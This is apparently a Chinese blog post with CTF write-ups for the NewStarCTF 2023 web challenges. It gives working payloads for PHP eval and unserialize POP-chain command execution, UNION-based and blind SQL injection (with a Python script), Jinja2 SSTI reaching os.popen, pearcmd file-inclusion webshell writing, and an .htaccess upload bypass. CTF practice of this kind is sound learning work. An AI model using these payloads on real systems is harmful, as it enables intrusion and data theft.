• NewStarCTF 2023 web


    目录

    week1

    泄漏的秘密

    Begin of Upload

    Begin of HTTP

    ErrorFlask

    Begin of PHP

    R!C!E!

    EasyLogin

    week2

    游戏高手

    include 0。0

    ez_sql

    Unserialize?

    Upload again!

    R!!C!!E!!

    week3

    Include 🍐

    medium_sql

    POP Gadget

    GenShin

    week4


    week1

    泄漏的秘密

    访问 /robots.txt  可以得到  flag{r0bots_1s_s0_us3ful

    访问 /www..zip 下载文件,有两个文件,放了flag
    目录扫描

     flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
    

    Begin of Upload

    后缀名可以是php,比较简单,|
    蚁剑连一下

    flag{c31619ad-76d9-4bab-85c3-65675a57171a}

    Begin of HTTP

    先是需要get传参,然后post传参
    post 传参的值查看源代码,base64解密

    ?ctf=1
    secret=n3wst4rCTF2023g00000d

    然后就是

    最后本地用户感觉有点问题

    要用 X-Real-IP: 127.0.0.1

    ErrorFlask

    随便传一些东西,会报错,flag就藏在里面

    Begin of PHP

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. if(isset($_GET['key1']) && isset($_GET['key2'])){
    4. echo "=Level 1=
      "
      ;
    5. if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
    6. $flag1 = True;
    7. }else{
    8. die("nope,this is level 1");
    9. }
    10. }
    11. if($flag1){
    12. echo "=Level 2=
      "
      ;
    13. if(isset($_POST['key3'])){
    14. if(md5($_POST['key3']) === sha1($_POST['key3'])){
    15. $flag2 = True;
    16. }
    17. }else{
    18. die("nope,this is level 2");
    19. }
    20. }
    21. if($flag2){
    22. echo "=Level 3=
      "
      ;
    23. if(isset($_GET['key4'])){
    24. if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
    25. $flag3 = True;
    26. }else{
    27. die("nope,this is level 3");
    28. }
    29. }
    30. }
    31. if($flag3){
    32. echo "=Level 4=
      "
      ;
    33. if(isset($_GET['key5'])){
    34. if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
    35. $flag4 = True;
    36. }else{
    37. die("nope,this is level 4");
    38. }
    39. }
    40. }
    41. if($flag4){
    42. echo "=Level 5=
      "
      ;
    43. extract($_POST);
    44. foreach($_POST as $var){
    45. if(preg_match("/[a-zA-Z0-9]/",$var)){
    46. die("nope,this is level 5");
    47. }
    48. }
    49. if($flag5){
    50. echo file_get_contents("/flag");
    51. }else{
    52. die("nope,this is level 5");
    53. }
    54. }

    ?key1[]=1&key2[]=2&key4[]=1&key5=2024a

    post : key3[]=1&flag5= ^

    flag{4ffc2cc7-f66a-42cb-9655-7d9e49b55945}

    主要是最后一步,本来以为是整个post传参的值不能出现字母和数字,但好像只是 flag5不能出现字母和数字,直接给flag5 赋值一个特殊的字符
    也还可以通过数组绕过,flag5[]=  (空格) (虽然我也不晓得为什么这又可以通过数组绕)
    (代码中不存在 $flag5 这个变量,但是有extract() )

    R!C!E!

    1. highlight_file(__FILE__);
    2. if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    3. $password=md5($_POST['password']);
    4. $code=$_POST['e_v.a.l'];
    5. if(substr($password,0,6)==="c4d038"){
    6. if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
    7. eval($code);
    8. }
    9. }
    10. }

    114514 md5 加密后前六位为c4d038

    e_v.a.1  要写成  e[v.a.1
    php的一个特性,"["会被解析成“_”,并且在“[”之后不规范的字符都不会再被转化,

    password=114514&e[v.a.l=eval($_POST[1]);&1=system('cat /flag');

    flag{d6972660-584b-4eea-bc8e-2a958fe53e8c}

    EasyLogin

    随便输入密码抓包,发现对密码进行了加密,是MD5加密

    注册再登进去有点莫名其妙,可以看到有个 111 是注册的用户名,
    可能会存在admin用户名,但不知道密码,进行爆破

    爆破出密码为 000000

    登进去好像还是啥也没有

    看了其他人的wp应该是抓包 在history中有个302重定向的包。在发送到repeater ,就可以得到flag
    但是我用admin 和 000000  再重新抓包的时候查看history没有发现 302的包,有点奇怪

    应该是环境的问题吧,别人的flag是在这个文件下发现的,但是我这里却是404,不晓得为啥

    week2

    游戏高手

    游戏通关不了了,太难了

    在控制台输入分数,继续返回到之前的页面玩游戏,可以发现分数变了,游戏结束就可以得到flag

    include 0。0

    过滤了两种过滤器,还有好多种过滤器,随便用一种

    ?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

    ez_sql

    sql注入类型的
    进过测试,发现 or select 等一些东西都被过滤了,
    但是没过滤大写,可以通过大小写绕过
    可以测出有5列, 万能密码试一下

    查表名
    ?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() %23

    查列名
    ?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='here_is_flag' %23

    查数据
    ?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(flag) FROM here_is_flag %23

    Unserialize?

    1. highlight_file(__FILE__);
    2. // Maybe you need learn some knowledge about deserialize?
    3. class evil {
    4. private $cmd;
    5. public function __destruct()
    6. {
    7. if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
    8. @system($this->cmd);
    9. }
    10. }
    11. }
    12. @unserialize($_POST['unser']);
    13. ?>

    POST:   unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}
    (列一下目录,注意$cmd 前面是 private)

    虽然过滤了一些读取文件的命令,但还是有好多,尝试一些其他的

    unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}

    Upload again!

    先随便上传文件,然后bp抓包 ,
    进过尝试可以发现 .htaccess可以上传
    写入内容:  AddType application/x-httpd-php .png    可以上传成功
    然后上传   1.png
    但是 过滤了   也可以上传成功

    明明是上传成功了,但访问不了,总是报错,蚁剑也连不上
    试了一下别人成功的方法,也是报错,感觉应该是环境的问题

    R!!C!!E!!

    提示有信息泄露,dirsearch扫描一下

    使用工具:GitHack

    在文件中下载了3个文件

    1. highlight_file(__FILE__);
    2. if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    3. if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
    4. eval($_GET['star']);
    5. }
    6. }
    1. #!/bin/bash
    2. echo "$FLAG" > /flag && \
    3. export FLAG=not && FLAG=not && \
    4. service apache2 restart && \
    5. tail -f /dev/null

    (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))

    这行代码表明需要进行  无参数RCE

    getallheaders():获取所有 HTTP 请求标头,但是该函数只能在Apache环境下使用

    array_flip()交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL

    array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名

    ?star=print_r(getallheaders());

    然后bp抓包添加请求头
    flag: system("ls /");

    再用array_flip  和array_rand  得到system("ls /");
    包裹上 eval  ,执行命令

    ?star=eval(array_rand(array_flip(getallheaders())));

    多尝试几遍,发现执行了命令

    week3

    Include 🍐

    之前写过,利用pearcmd.php

    直接传参:

    ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/shell.php

    到/tmp/shell.php文件下进行  rce
    文件包含题(进阶)-CSDN博客

    medium_sql

    万能密码尝试一下

    刚开始试着的时候,一直没发现竟然是布尔盲注,我说怎么一直没有回显,一直检查是不是哪里语法有问题
    需要写脚本,虽然我写的脚本很low,但也勉强能运行

    1. import time
    2. import requests
    3. dic='1234_567890{}qwer-tyuiopasdfghjklzxcvbnm'
    4. url='http://74efb8e1-f799-4d94-b4aa-a73f536b2dad.node5.buuoj.cn:81/'
    5. # payload="?id=TMP0919' And if((oRd(suBstr((SELECT TABLE_NAME FroM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1,1),{0},1)))={1},1,0)%23"
    6. # 改一下limit 第一张表为:grades 第二张表为 here_is_flag
    7. # payload="?id=TMP0919' And if((oRd(suBstr((SELECT ColuMN_NAME FroM INFORMATION_SCHEMA.COlumnS WHERE TABLE_naMe='here_is_flag' LIMIT 0,1),{0},1)))={1},1,0)%23"
    8. # 列名为 flag
    9. payload="?id=TMP0919' And if((oRd(suBstr((SELECT flag FroM here_is_flag LIMIT 0,1),{0},1)))={1},1,0)%23"
    10. flag=''
    11. column_name=''
    12. tb_name=''
    13. URL=url+payload
    14. for i in range(1,60):
    15. for j in dic:
    16. res=requests.get(url=URL.format(i,ord(j)))
    17. # print(res.text)
    18. if 'TMP0919' in res.text:
    19. # tb_name+=j
    20. # column_name+=j
    21. flag+=j
    22. print(j)
    23. break
    24. # print("表名为:{}".format(tb_name))
    25. # print("列名为:{}".format(column_name))
    26. print("flag为:{}".format(flag))
    27. # 第一次设的长度太短了,还有一部分没跑出来,有点无语 flag{55d9507f-1ee9-44d8-8cb6-62fd080faa
    28. # flag{55d9507f-1ee9-44d8-8cb6-62fd080faa15}

    POP Gadget

    1. highlight_file(__FILE__);
    2. class Begin{
    3. public $name;
    4. public function __destruct()
    5. {
    6. if(preg_match("/[a-zA-Z0-9]/",$this->name)){
    7. echo "Hello";
    8. }else{
    9. echo "Welcome to NewStarCTF 2023!";
    10. }
    11. }
    12. }
    13. class Then{
    14. private $func;
    15. public function __toString()
    16. {
    17. ($this->func)();
    18. return "Good Job!";
    19. }
    20. }
    21. class Handle{
    22. protected $obj;
    23. public function __call($func, $vars)
    24. {
    25. $this->obj->end();
    26. }
    27. }
    28. class Super{
    29. protected $obj;
    30. public function __invoke()
    31. {
    32. $this->obj->getStr();
    33. }
    34. public function end()
    35. {
    36. die("==GAME OVER==");
    37. }
    38. }
    39. class CTF{
    40. public $handle;
    41. public function end()
    42. {
    43. unset($this->handle->log);
    44. }
    45. }
    46. class WhiteGod{
    47. public $func;
    48. public $var;
    49. public function __unset($var)
    50. {
    51. ($this->func)($this->var);
    52. }
    53. }
    54. @unserialize($_POST['pop']);

    pop链:

      Begin  __destruct->Then  __toString ->Supei  __invoke-> Handle  __call  ->CTF __end()
       ->Whitegod  __unset

    1. $a=new Begin();
    2. $a->name=new Then();
    3. $a->name->func=new Super();
    4. $a->name->func->obj=new Handle();
    5. $a->name->func->obj->obj=new CTF();
    6. $a->name->func->obj->obj->handle=new WhiteGod();
    7. $a->name->func->obj->obj->handle->func='system';
    8. $a->name->func->obj->obj->handle->var='ls /';
    9. echo urlencode(serialize($a));

    pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}}Hello

    pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}

    GenShin

    抓包,可以看到有目录信息

    访问到页面

    尝试传参试试  ?name=admin

    ?name={%print("".__class__)%}   存在ssti注入

    ?name={%print("".__class__.__base__.__subclasses__())%}
    找能够利用的函数  

    ?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__)%}

    参考:[wp]NewStarCTF 2023 WEEK3|WEB-CSDN博客

    ?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

    这个也可以,之前一直试的这个,一直不能成功,突然又可以了,可能之前哪里格式错了

    ?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__["po""pen"]("ls /").read())%}

    week4

    1. highlight_file(__FILE__);
    2. function waf($str){
    3. return str_replace("bad","good",$str);
    4. }
    5. class GetFlag {
    6. public $key;
    7. public $cmd = "whoami";
    8. public function __construct($key)
    9. {
    10. $this->key = $key;
    11. }
    12. public function __destruct()
    13. {
    14. system($this->cmd);
    15. }
    16. }
    17. unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data flag{6edd79e9-fec6-4a7b-8523-3a403dd91a0e}

    字符串逃逸,每次bad -> good 就可以逃逸出一个字符
    cmd=whoami,无法改变,需要自己造一个cmd,进行反序列化

    ";s:3:"cmd";s:4:"ls /";}  共有24个字符,所以需要逃逸24个

    ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

    ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

  • 相关阅读:
    【文件包含】phpmyadmin 文件包含(CVE-2014-8959)
    web前端安全性——XSS跨站脚本攻击
    图文详解 VCF 生信格式 (变异信息)
    WordPress怎么禁止用户使用HTML标签,自动过滤HTML代码?
    代码随想录训练营第25天|LeetCode 216.组合总和III、17.电话号码的字母组合
    设计模式之(9)——适配器 模式
    科技资讯|2023全球智能手表预估出货1.3亿块,智能穿戴提升AI功能
    浅析汽车芯片信息安全之安全启动
    内网渗透神器CobaltStrike之Beacon详解(三)
    贪心算法与DFS:九度OJ1030
  • 原文地址:https://blog.csdn.net/2302_80472909/article/details/137554930